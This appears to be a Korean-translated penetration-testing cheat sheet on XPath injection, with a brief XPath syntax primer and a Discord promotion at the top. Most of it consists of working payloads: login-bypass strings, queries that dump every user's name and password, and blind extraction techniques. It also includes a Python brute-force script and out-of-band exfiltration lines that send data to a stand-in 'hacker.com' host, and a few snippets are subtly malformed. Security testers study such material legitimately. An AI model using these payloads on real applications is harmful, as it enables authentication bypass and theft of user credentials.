Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
Basic Syntax
XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으로 XPath(XML Path Language) 쿼리를 형성하여 XML 문서를 쿼리하거나 탐색하는 애플리케이션의 취약점을 이용하는 데 사용됩니다.
Nodes Described
표현식은 XML 문서에서 다양한 노드를 선택하는 데 사용됩니다. 이러한 표현식과 그 설명은 아래에 요약되어 있습니다:
nodename: "nodename"이라는 이름을 가진 모든 노드가 선택됩니다.
/: 루트 노드에서 선택이 이루어집니다.
//: 현재 노드에서 선택과 일치하는 노드가 문서 내 위치에 관계없이 선택됩니다.
.: 현재 노드가 선택됩니다.
..: 현재 노드의 부모가 선택됩니다.
@: 속성이 선택됩니다.
XPath Examples
경로 표현식과 그 결과의 예는 다음과 같습니다:
bookstore: "bookstore"라는 이름을 가진 모든 노드가 선택됩니다.
/bookstore: 루트 요소 bookstore가 선택됩니다. 요소에 대한 절대 경로는 슬래시(/)로 시작하는 경로로 표현됩니다.
bookstore/book: bookstore의 자식인 모든 book 요소가 선택됩니다.
//book: 문서 내 모든 book 요소가 선택됩니다, 위치에 관계없이.
bookstore//book: bookstore 요소의 자손인 모든 book 요소가 선택됩니다, bookstore 요소 아래의 위치에 관계없이.
//@lang: lang이라는 이름을 가진 모든 속성이 선택됩니다.
Utilization of Predicates
프레디케이트는 선택을 세분화하는 데 사용됩니다:
/bookstore/book[1]: bookstore 요소의 첫 번째 book 요소 자식이 선택됩니다. IE 버전 5에서 9까지의 경우 첫 번째 노드를 [0]으로 인덱싱하는 문제를 해결하기 위해 JavaScript를 통해 SelectionLanguage를 XPath로 설정합니다.
/bookstore/book[last()]: bookstore 요소의 마지막 book 요소 자식이 선택됩니다.
/bookstore/book[last()-1]: bookstore 요소의 마지막에서 두 번째 book 요소 자식이 선택됩니다.
/bookstore/book[position()<3]: bookstore 요소의 첫 두 book 요소 자식이 선택됩니다.
//title[@lang]: lang 속성이 있는 모든 title 요소가 선택됩니다.
//title[@lang='en']: "lang" 속성 값이 "en"인 모든 title 요소가 선택됩니다.
/bookstore/book[price>35.00]: 가격이 35.00보다 큰 bookstore의 모든 book 요소가 선택됩니다.
/bookstore/book[price>35.00]/title: 가격이 35.00보다 큰 bookstore의 book 요소의 모든 title 요소가 선택됩니다.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
스키마 식별 및 탈취
andcount(/*)=1#rootandcount(/*[1]/*)=2#count(root) = 2 (a,c)andcount(/*[1]/*[1]/*)=1#count(a) = 1 (b)andcount(/*[1]/*[1]/*[1]/*)=0#count(b) = 0andcount(/*[1]/*[2]/*)=3#count(c) = 3 (d,e,f)andcount(/*[1]/*[2]/*[1]/*)=0#count(d) = 0andcount(/*[1]/*[2]/*[2]/*)=0#count(e) = 0andcount(/*[1]/*[2]/*[3]/*)=1#count(f) = 1 (g)andcount(/*[1]/*[2]/*[3]/[1]*)=0#count(g) = 0#The previous solutions are the representation of a schema like the following#(at this stage we don't know the name of the tags, but jus the schema)<root><a><b></b></a><c><d></d><e></e><f><h></h></f></c></root>andname(/*[1])="root"#Confirm the name of the first tag is "root"andsubstring(name(/*[1]/*[1]),1,1)="a"#First char of name of tag `<a>` is "a"and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOBdoc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
인증 우회
쿼리 예시:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
사용자와 비밀번호에서 OR 우회 (두 값이 동일함)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
널 주입 악용
Username: ' or 1]%00
사용자 이름 또는 비밀번호에서의 이중 OR (취약한 필드가 하나만 있어도 유효함)
중요: "and"가 첫 번째로 수행되는 연산임을 주의하세요.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
문자열 추출
출력에는 문자열이 포함되어 있으며 사용자는 값을 조작하여 검색할 수 있습니다:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
블라인드 익스플로이테이션
값의 길이를 가져오고 비교를 통해 추출하기:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='#True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='#True is first equals "a"substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
파이썬 예제
import requests, stringflag =""l =0alphabet = string.ascii_letters + string.digits +"{}_()"for i inrange(30):r = requests.get("http://example.com?action=user&userid=2 and string-length(password)="+str(i))if ("TRUE_COND"in r.text):l = ibreakprint("[+] Password length: "+str(l))for i inrange(1, l +1):#print("[i] Looking for char number " + str(i))for al in alphabet:r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)if ("TRUE_COND"in r.text):flag += alprint("[+] Flag: "+ flag)break
doc(concat("http://hacker.com/oob/", RESULTS))doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))#Instead of doc() you can use the function doc-availabledoc-available(concat("http://hacker.com/oob/", RESULTS))#the doc available will respond true or false depending if the doc exists,#user not(doc-available(...)) to invert the result if you need to